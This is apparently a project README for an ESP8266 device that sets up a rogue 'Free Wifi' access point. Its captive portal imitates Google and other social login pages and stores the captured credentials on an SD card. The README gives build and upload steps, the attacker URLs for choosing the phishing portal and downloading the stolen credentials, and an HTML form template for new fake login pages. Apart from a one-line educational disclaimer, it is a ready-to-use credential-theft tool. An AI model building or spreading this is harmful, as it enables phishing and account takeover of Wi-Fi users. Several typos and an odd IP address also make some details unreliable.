This is an Arduino project build on top of a ESP8266 D1 Mini and a micro SD card shield.
It consist of a discrete Wifi Arduino hardware which create malicious Wifi accesspoint with customizable captive portal and store stolen credentials on the SD storage.
####This project is for educational purpose only or for red teamers with related permissions.
D1 mini(Left) Micro SD shierl(right) |
Combinated |
-
Format the SD-Card, and copy the
html
folder from the repository to the root of the SD Card. -
Install Arduino IDE. Install the ESP8266 boards package.
-
Select the W1 Mini card and select the port.
-
Build and upload skecth on board.
By default, when you power up the device a Free Wifi
network will be created. The repository come with several social login forms. By default, the Google Sign form is selected.
When the victim will connect to the network, the rogue captive portal form will be displayed.
The attacker can set the default portal by visiting the following url: http://196.0.0.1/configure
The attacker can retreive the stolen credentials by visiting the following url: http://196.0.0.1/download
You can easily add a custom captive portal form. Create a html page with the minimum following parameters:
<form id="loginForm" action="login" methot="post">
<input type="text" id="username" name="email" required/>
<input type="password" id="password" name="password" required/>
<input type="hidden" name="platform" value="Google" />
<button type="submit">Suivant</button>
</form>
Customize it like you want and put the html file in /html/portals/
folder of the SD card.
Now you can select it by visiting the following url: http://196.0.0.1/configure